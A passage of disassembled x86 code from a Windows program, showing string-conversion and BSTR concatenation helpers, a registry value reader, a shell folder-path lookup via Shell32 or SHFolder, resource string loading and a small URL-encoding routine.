lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20Ch
mov edx, [ebp+lpString]
push ebx
push esi
push edi
lea eax, [ebp+MultiByteStr]
push 200h
push eax
push edx
mov [ebp+MultiByteStr], 0
call dword ptr [ecx+5D8h]
lea eax, [ebp+MultiByteStr]
test eax, eax
jnz short loc_40A1A8
mov [ebp+lpString], eax
jmp short loc_40A1E4
; ---------------------------------------------------------------------------
loc_40A1A8: ; CODE XREF: sub_40A170+31j
lea ecx, [ebp+MultiByteStr]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea edx, [ebp+MultiByteStr]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], edi
loc_40A1E4: ; CODE XREF: sub_40A170+36j
mov eax, [ebp+lpString]
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov ebx, [ebp+arg_8]
mov edi, eax
mov [ebp+var_C], edi
mov eax, [ebx]
test eax, eax
jnz short loc_40A200
xor esi, esi
jmp short loc_40A209
; ---------------------------------------------------------------------------
loc_40A200: ; CODE XREF: sub_40A170+8Aj
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40A209: ; CODE XREF: sub_40A170+8Ej
lea eax, [esi+edi]
push eax ; ui
push 0 ; strIn
mov [ebp+var_4], eax
call ds:SysAllocStringLen
test eax, eax
mov [ebp+var_8], eax
jz short loc_40A267
lea ecx, [esi+esi]
mov esi, [ebx]
mov [ebp+arg_8], ecx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_C]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [edx+eax]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_4]
mov word ptr [eax+ecx*2], 0
mov edx, [ebx]
push edx ; bstrString
call ds:SysFreeString
mov eax, [ebp+var_8]
mov [ebx], eax
loc_40A267: ; CODE XREF: sub_40A170+ADj
mov ecx, [ebx]
push ecx ; BSTR
call ds:SysStringLen
mov edx, [ebx]
push eax ; ui
push edx ; strIn
call ds:SysAllocStringLen
mov edx, [ebp+arg_0]
lea esi, [ebx+0Ch]
lea esp, [ebp-218h]
mov [edx], eax
mov eax, [ebx+4]
mov [edx+4], eax
mov ecx, [ebx+8]
mov [edx+8], ecx
lea edi, [edx+0Ch]
mov ecx, 7
rep movsd
movsw
mov al, [ebx+2Ah]
pop edi
mov [edx+2Ah], al
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_40A170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A2C0 proc near ; CODE XREF: sub_405C90+4ABp
mov al, 1
mov [ecx+4B5h], al
retn
sub_40A2C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A2D0 proc near ; CODE XREF: sub_4036E0+10Bp
; sub_4036E0+216p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi]
test eax, eax
jnz short loc_40A2DF
xor ebx, ebx
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2DF: ; CODE XREF: sub_40A2D0+9j
push eax ; BSTR
call ds:SysStringLen
mov ebx, eax
loc_40A2E8: ; CODE XREF: sub_40A2D0+Dj
mov eax, [esi+8]
lea edi, [ebx+1]
cmp eax, edi
ja short loc_40A319
mov eax, [esi+4]
test eax, eax
jz short loc_40A302
push eax ; lpMem
call sub_40AF10
add esp, 4
loc_40A302: ; CODE XREF: sub_40A2D0+27j
push edi ; dwBytes
mov [esi+8], edi
call sub_40AE50
add esp, 4
mov [esi+4], eax
test eax, eax
jnz short loc_40A319
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40A319: ; CODE XREF: sub_40A2D0+20j
; sub_40A2D0+43j
mov eax, [esi+4]
push 0 ; lpUsedDefaultChar
push 0 ; lpDefaultChar
mov byte ptr [eax], 0
mov ecx, [esi+8]
mov edx, [esi+4]
mov eax, [esi]
push ecx ; cbMultiByte
push edx ; lpMultiByteStr
push ebx ; cchWideChar
push eax ; lpWideCharStr
push 0 ; dwFlags
push 0 ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov ecx, [esi+4]
pop edi
mov byte ptr [ebx+ecx], 0
mov eax, [esi+4]
pop esi
pop ebx
retn
sub_40A2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A350(LPCSTR lpString2,int)
sub_40A350 proc near ; CODE XREF: sub_4039C0+1BFp
; sub_4039C0+2D6p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea esi, [eax+1]
mov [ebp+var_4], ecx
push esi ; dwBytes
call sub_40AE50
mov edi, eax
add esp, 4
test edi, edi
mov [ebp+var_C], edi
jnz short loc_40A382
xor al, al
lea esp, [ebp-18h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
loc_40A382: ; CODE XREF: sub_40A350+22j
mov ecx, [ebp+lpString2]
push esi ; iMaxLength
push ecx ; lpString2
push edi ; lpString1
call ds:lstrcpynA ; lstrcpynA
push edi ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push edi ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov [ebp+lpString2], ebx
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
mov edx, [ebp+var_4]
mov ebx, eax
mov [ebp+arg_4], ebx
mov eax, [edx]
test eax, eax
jnz short loc_40A3D7
xor esi, esi
jmp short loc_40A3E0
; ---------------------------------------------------------------------------
loc_40A3D7: ; CODE XREF: sub_40A350+81j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40A3E0: ; CODE XREF: sub_40A350+85j
add ebx, esi
push ebx ; ui
push 0 ; strIn
mov [ebp+var_8], ebx
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40A441
mov edx, [ebp+var_4]
lea eax, [esi+esi]
mov ecx, eax
mov edi, ebx
mov esi, [edx]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+arg_4]
mov esi, [ebp+lpString2]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_8]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_4]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov edi, [ebp+var_C]
mov [esi], ebx
loc_40A441: ; CODE XREF: sub_40A350+A2j
push edi ; lpMem
call sub_40AF10
add esp, 4
mov al, 1
lea esp, [ebp-18h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40A350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A460(HKEY cbData,LPCSTR lpSubKey,LPCSTR lpValueName)
sub_40A460 proc near ; CODE XREF: sub_4039C0+2BEp
; sub_40A600+Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Type = dword ptr -0Ch
var_8 = dword ptr -8
hKey = dword ptr -4
cbData = dword ptr 8
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov edx, [ebp+cbData]
push ebx
push esi
lea eax, [ebp+hKey]
push edi
mov [ebp+var_8], ecx
mov ecx, [ebp+lpSubKey]
push eax ; phkResult
push 0 ; samDesired
push 0 ; ulOptions
push ecx ; lpSubKey
push edx ; hKey
mov [ebp+hKey], 0
call ds:RegOpenKeyExA ; RegOpenKeyExA
test eax, eax
jnz loc_40A5EF
mov esi, [ebp+lpValueName]
mov edx, [ebp+hKey]
mov ebx, ds:RegQueryValueExA
lea eax, [ebp+cbData]
push eax ; lpcbData
lea ecx, [ebp+Type]
push 0 ; lpData
push ecx ; lpType
push 0 ; lpReserved
push esi ; lpValueName
push edx ; hKey
call ebx ; RegQueryValueExA
test eax, eax
jnz loc_40A5E5
cmp [ebp+Type], 1
jnz loc_40A5E5
mov eax, [ebp+cbData]
inc eax
push eax ; dwBytes
call sub_40AE50
mov edi, eax
add esp, 4
test edi, edi
mov [ebp+var_18], edi
jnz short loc_40A4ED
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
xor al, al
lea esp, [ebp-24h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A4ED: ; CODE XREF: sub_40A460+73j
mov ecx, [ebp+hKey]
lea edx, [ebp+cbData]
push edx ; lpcbData
lea eax, [ebp+Type]
push edi ; lpData
push eax ; lpType
push 0 ; lpReserved
push esi ; lpValueName
push ecx ; hKey
call ebx ; RegQueryValueExA
test eax, eax
setz al
test al, al
mov byte ptr [ebp+lpSubKey+3], al
jz loc_40A5C3
push edi ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push edi ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov [ebp+var_10], ebx
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
mov edx, [ebp+var_8]
mov ebx, eax
mov [ebp+lpValueName], ebx
mov eax, [edx]
test eax, eax
jnz short loc_40A558
xor esi, esi
jmp short loc_40A561
; ---------------------------------------------------------------------------
loc_40A558: ; CODE XREF: sub_40A460+F2j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40A561: ; CODE XREF: sub_40A460+F6j
lea eax, [esi+ebx]
push eax ; ui
push 0 ; strIn
mov [ebp+var_14], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40A5C3
mov edx, [ebp+var_8]
lea eax, [esi+esi]
mov ecx, eax
mov edi, ebx
mov esi, [edx]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+lpValueName]
mov esi, [ebp+var_10]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_14]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_8]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov edi, [ebp+var_18]
mov [esi], ebx
loc_40A5C3: ; CODE XREF: sub_40A460+A9j
; sub_40A460+114j
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
push edi ; lpMem
call sub_40AF10
mov al, byte ptr [ebp+lpSubKey+3]
add esp, 4
lea esp, [ebp-24h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A5E5: ; CODE XREF: sub_40A460+4Fj
; sub_40A460+59j
mov eax, [ebp+hKey]
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_40A5EF: ; CODE XREF: sub_40A460+2Bj
lea esp, [ebp-24h]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 0Ch
sub_40A460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40A600(LPCSTR lpSubKey,LPCSTR lpValueName)
sub_40A600 proc near ; CODE XREF: sub_4039C0+65Fp
lpSubKey = dword ptr 4
lpValueName = dword ptr 8
mov eax, [esp+lpValueName]
mov edx, [esp+lpSubKey]
push eax ; lpValueName
push edx ; lpSubKey
push 80000001h ; cbData
call sub_40A460
retn 8
sub_40A600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40A620(int,int,LPCSTR lpString2)
sub_40A620 proc near ; CODE XREF: sub_40A680+2Bp
; sub_40A680+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
lpString2 = dword ptr 0Ch
push ebx
push esi
push edi
mov edi, [esp+0Ch+lpString2]
mov esi, ecx
push edi ; lpLibFileName
call ds:LoadLibraryA ; LoadLibraryA
mov ebx, [esp+0Ch+arg_0]
test eax, eax
mov [ebx], eax
jnz short loc_40A642
pop edi
pop esi
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A642: ; CODE XREF: sub_40A620+18j
push offset aShgetfolderpat ; "SHGetFolderPathA"
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov ecx, [esp+0Ch+arg_4]
test eax, eax
mov [ecx], eax
jnz short loc_40A669
mov edx, [ebx]
push edx ; hLibModule
call ds:FreeLibrary ; FreeLibrary
pop edi
pop esi
xor al, al
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A669: ; CODE XREF: sub_40A620+36j
push 1Dh ; iMaxLength
add esi, 0Ch
push edi ; lpString2
push esi ; lpString1
call ds:lstrcpynA ; lstrcpynA
pop edi
pop esi
mov al, 1
pop ebx
retn 0Ch
sub_40A620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A680(LPCWSTR lpString)
sub_40A680 proc near ; CODE XREF: sub_4039C0+28Cp
; sub_4039C0+29Dp ...
MultiByteStr = byte ptr -118h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
hLibModule = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], edi
mov al, [edi+2Ah]
test al, al
jnz short loc_40A6DE
lea eax, [ebp+var_4]
push offset aShell32_dll ; "Shell32.dll"
lea ecx, [ebp+hLibModule]
push eax ; int
push ecx ; int
mov ecx, edi
mov byte ptr [edi+2Ah], 1
call sub_40A620
test al, al
jnz short loc_40A71C
lea edx, [ebp+var_4]
push offset aShfolder_dll ; "SHFolder.dll"
lea eax, [ebp+hLibModule]
push edx ; int
push eax ; int
mov ecx, edi
call sub_40A620
test al, al
jnz short loc_40A71C
mov [edi+0Ch], al
lea esp, [ebp-124h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_40A6DE: ; CODE XREF: sub_40A680+16j
mov cl, [edi+0Ch]
lea eax, [edi+0Ch]
test cl, cl
jnz short loc_40A6F9
xor al, al
lea esp, [ebp-124h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_40A6F9: ; CODE XREF: sub_40A680+66j
lea ecx, [ebp+var_4]
push eax ; lpString2
lea edx, [ebp+hLibModule]
push ecx ; int
push edx ; int
mov ecx, edi
call sub_40A620
test al, al
jnz short loc_40A71C
lea esp, [ebp-124h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_40A71C: ; CODE XREF: sub_40A680+32j
; sub_40A680+4Aj ...
mov ecx, [ebp+lpString]
lea eax, [ebp+MultiByteStr]
push eax
push 0
push 0
xor bl, bl
push ecx
push 0
mov [ebp+MultiByteStr], bl
call [ebp+var_4]
test eax, eax
jl loc_40A822
cmp eax, 1
jg loc_40A822
mov al, [ebp+MultiByteStr]
test al, al
jz loc_40A822
lea edx, [ebp+MultiByteStr]
test edx, edx
jnz short loc_40A766
mov [ebp+lpString], edx
jmp short loc_40A7A2
; ---------------------------------------------------------------------------
loc_40A766: ; CODE XREF: sub_40A680+DFj
lea eax, [ebp+MultiByteStr]
push eax ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea ecx, [ebp+MultiByteStr]
push 0FFFFFFFFh ; cbMultiByte
push ecx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
loc_40A7A2: ; CODE XREF: sub_40A680+E4j
mov edx, [ebp+lpString]
push edx ; lpString
call ds:lstrlenW ; lstrlenW
mov ebx, eax
mov eax, [edi]
test eax, eax
mov [ebp+var_C], ebx
jnz short loc_40A7BB
xor esi, esi
jmp short loc_40A7C4
; ---------------------------------------------------------------------------
loc_40A7BB: ; CODE XREF: sub_40A680+135j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40A7C4: ; CODE XREF: sub_40A680+139j
lea eax, [esi+ebx]
push eax ; ui
push 0 ; strIn
mov [ebp+var_14], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40A820
lea eax, [esi+esi]
mov esi, [edi]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_C]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_14]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_10]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov [esi], ebx
loc_40A820: ; CODE XREF: sub_40A680+157j
mov bl, 1
loc_40A822: ; CODE XREF: sub_40A680+BAj
; sub_40A680+C3j ...
mov edx, [ebp+hLibModule]
push edx ; hLibModule
call ds:FreeLibrary ; FreeLibrary
lea esp, [ebp-124h]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_40A680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A840(HINSTANCE hInstance,UINT bstrString)
sub_40A840 proc near ; CODE XREF: sub_4036E0+F9p
; sub_4039C0+152p ...
String = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
bstrString = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 208h
mov edx, [ebp+hInstance]
push ebx
push esi
push edi
mov edi, ecx
lea eax, [ebp+String]
mov ecx, [ebp+bstrString]
push 200h ; cchBufferMax
push eax ; lpBuffer
push ecx ; uID
push edx ; hInstance
mov [ebp+var_4], edi
call ds:LoadStringA ; LoadStringA
mov ebx, ds:SysFreeString
push 0 ; bstrString
mov esi, eax
call ebx ; SysFreeString
test esi, esi
jz short loc_40A8E4
lea eax, [ebp+String]
test eax, eax
jnz short loc_40A889
xor ebx, ebx
jmp short loc_40A8C2
; ---------------------------------------------------------------------------
loc_40A889: ; CODE XREF: sub_40A840+43j
lea ecx, [ebp+String]
push ecx ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea edx, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
loc_40A8C2: ; CODE XREF: sub_40A840+47j
push ebx ; psz
call ds:SysAllocString
mov esi, ds:SysStringLen
push eax ; BSTR
mov [ebp+bstrString], eax
call esi ; SysStringLen
mov ebx, eax
mov eax, [edi]
test eax, eax
mov [ebp+hInstance], ebx
jnz short loc_40A8F9
xor esi, esi
jmp short loc_40A8FE
; ---------------------------------------------------------------------------
loc_40A8E4: ; CODE XREF: sub_40A840+39j
push 0 ; bstrString
call ebx ; SysFreeString
xor al, al
lea esp, [ebp-214h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
loc_40A8F9: ; CODE XREF: sub_40A840+9Ej
push eax ; BSTR
call esi ; SysStringLen
mov esi, eax
loc_40A8FE: ; CODE XREF: sub_40A840+A2j
lea eax, [esi+ebx]
push eax ; ui
push 0 ; strIn
mov [ebp+var_8], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40A95A
lea eax, [esi+esi]
mov esi, [edi]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+hInstance]
mov esi, [ebp+bstrString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_8]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_4]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov [esi], ebx
loc_40A95A: ; CODE XREF: sub_40A840+D1j
mov edx, [ebp+bstrString]
push edx ; bstrString
call ds:SysFreeString
lea esp, [ebp-214h]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40A840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40A980(LPCWSTR lpString)
sub_40A980 proc near ; CODE XREF: sub_4039C0+42Ep
; sub_4051A0+2DCp ...
MultiByteStr = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov edi, ecx
mov ecx, [ebp+lpString]
lea eax, [ebp+MultiByteStr]
push 0Ah
push eax
push ecx
mov [ebp+var_C], edi
call sub_40BE1D
lea edx, [ebp+MultiByteStr]
add esp, 0Ch
test edx, edx
jnz short loc_40A9AC
mov [ebp+lpString], edx
jmp short loc_40A9E2
; ---------------------------------------------------------------------------
loc_40A9AC: ; CODE XREF: sub_40A980+25j
lea eax, [ebp+MultiByteStr]
push eax ; lpString
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea ecx, [ebp+MultiByteStr]
push 0FFFFFFFFh ; cbMultiByte
push ecx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
loc_40A9E2: ; CODE XREF: sub_40A980+2Aj
mov edx, [ebp+lpString]
push edx ; lpString
call ds:lstrlenW ; lstrlenW
mov ebx, eax
mov eax, [edi]
test eax, eax
mov [ebp+var_4], ebx
jnz short loc_40A9FB
xor esi, esi
jmp short loc_40AA04
; ---------------------------------------------------------------------------
loc_40A9FB: ; CODE XREF: sub_40A980+75j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40AA04: ; CODE XREF: sub_40A980+79j
lea eax, [esi+ebx]
push eax ; ui
push 0 ; strIn
mov [ebp+var_8], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40AA60
lea eax, [esi+esi]
mov esi, [edi]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_4]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_8]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_C]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov [esi], ebx
loc_40AA60: ; CODE XREF: sub_40A980+97j
lea esp, [ebp-38h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_40A980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40AA70(LPCSTR lpMem)
sub_40AA70 proc near ; CODE XREF: sub_4051A0+28Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpMem = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
mov ebx, [ebp+lpMem]
push esi
push edi
mov [ebp+var_4], ecx
push ebx ; lpString
call ds:lstrlenA ; lstrlenA
lea eax, [eax+eax*2+1]
push eax ; dwBytes
call sub_40AE50
mov edi, eax
add esp, 4
test edi, edi
mov [ebp+lpMem], edi
jnz short loc_40AAAA
xor al, al
lea esp, [ebp-1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_40AAAA: ; CODE XREF: sub_40AA70+2Aj
mov al, [ebx]
mov esi, edi
test al, al
jz short loc_40AAF4
dec edi
loc_40AAB3: ; CODE XREF: sub_40AA70+7Fj
movsx eax, al
movsx ecx, al
mov [esi], al
inc esi
inc edi
sub ecx, 20h
inc ebx
cmp ecx, 1Eh ; switch 31 cases
ja short loc_40AAEB ; default
; jumptable 0040AACE cases 1,2,4,7-27,29
xor edx, edx
mov dl, ds:byte_40ABCC[ecx]
jmp ds:off_40ABC4[edx*4] ; switch jump
loc_40AAD5: ; DATA XREF: .text:off_40ABC4o
push eax ; jumptable 0040AACE cases 0,3,5,6,28,30
push offset a2x ; "%%%2x"
push edi ; LPSTR
call ds:wsprintfA ; wsprintfA
add esp, 0Ch
add esi, 2
add edi, 2
loc_40AAEB: ; CODE XREF: sub_40AA70+54j
; sub_40AA70+5Ej
; DATA XREF: ...
mov al, [ebx] ; default
; jumptable 0040AACE cases 1,2,4,7-27,29
test al, al
jnz short loc_40AAB3
mov edi, [ebp+lpMem]
loc_40AAF4: ; CODE XREF: sub_40AA70+40j
push edi ; lpString
mov byte ptr [esi], 0
call ds:lstrlenA ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, [ebp+lpMem]
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov [ebp+var_C], ebx
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
push ebx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, [ebp+var_4]
mov ebx, eax
mov [ebp+var_8], ebx
mov eax, [edi]
test eax, eax
jnz short loc_40AB43
xor esi, esi
jmp short loc_40AB4C
; ---------------------------------------------------------------------------
loc_40AB43: ; CODE XREF: sub_40AA70+CDj
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_40AB4C: ; CODE XREF: sub_40AA70+D1j
add ebx, esi
push ebx ; ui
push 0 ; strIn
mov [ebp+var_10], ebx
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40ABA7
lea eax, [esi+esi]
mov esi, [edi]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_8]
mov esi, [ebp+var_C]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov esi, [ebp+var_4]
mov word ptr [ebx+eax*2], 0
mov ecx, [esi]
push ecx ; bstrString
call ds:SysFreeString
mov [esi], ebx
loc_40ABA7: ; CODE XREF: sub_40AA70+EEj
mov edx, [ebp+lpMem]
push edx ; lpMem
call sub_40AF10
add esp, 4
mov al, 1
lea esp, [ebp-1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_40AA70 endp
; ---------------------------------------------------------------------------
align 4
off_40ABC4 dd offset loc_40AAD5 ; DATA XREF: sub_40AA70+5Er
dd offset loc_40AAEB ; jump table for switch statement
byte_40ABCC db 0, 1, 1, 0 ; DATA XREF: sub_40AA70+58r
db 1, 0, 0, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 1, 1, 1, 1
db 0, 1, 0
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40ABF0(LPCSTR lpSubKey,LPCSTR lpValueName,HKEY hKey)
sub_40ABF0 proc near ; CODE XREF: sub_4099D0+103p
; sub_4099D0+11Bp
lpSubKey = dword ptr 4
lpValueName = dword ptr 8
hKey = dword ptr 0Ch
